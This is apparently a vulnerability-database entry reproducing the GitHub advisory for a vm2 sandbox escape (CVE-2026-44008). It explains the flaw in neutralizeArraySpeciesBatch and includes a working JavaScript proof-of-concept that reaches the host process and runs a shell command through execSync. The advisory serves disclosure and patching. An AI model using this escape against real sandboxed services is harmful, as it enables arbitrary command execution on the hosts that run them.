Browse / AI Framework and Platform Flaws / CVE-2026-44008
vm2 has sandbox breakout via `neutralizeArraySpeciesBatch`
- Class
- AI Framework and Platform Flaws (filed by a model that read the advisory)
- Technique
- Sandbox escape
- Affected
- vm2 (npm)
- Gets past
- Sandbox or allowlist
- CVSS
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- EPSS
- 0.9% chance of exploitation in 30 days
How it works, in short
Newly added internal code exposes host-side objects to sandboxed scripts through array prototype accessors, letting them reach the host Function and run commands. (Our summary, written by a model. The source text is below.)
Details
Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The new method neutralizeArraySpeciesBatch works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host Function object.
PoC
const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
const a = [];
Object.defineProperty(Array.prototype, 0, {
set(value) {
a.f = Buffer.prototype.inspect;
value.arr.f.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
}
});
new Buffer(a);
`));
Impact
Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
References
- https://github.com/patriksimek/vm2/security/advisories/GHSA-9qj6-qjgg-37qq
- https://nvd.nist.gov/vuln/detail/CVE-2026-44008
- https://github.com/patriksimek/vm2/commit/ca195f0178989d6f59eafb7af965806f829e20f7
- https://access.redhat.com/errata/RHSA-2026:50850
- https://access.redhat.com/security/cve/CVE-2026-44008
- https://bugzilla.redhat.com/show_bug.cgi?id=2477201
- https://github.com/patriksimek/vm2
- https://github.com/patriksimek/vm2/releases/tag/v3.11.2
- https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44008.json
Source: GitHub Advisory Database, used under CC BY 4.0.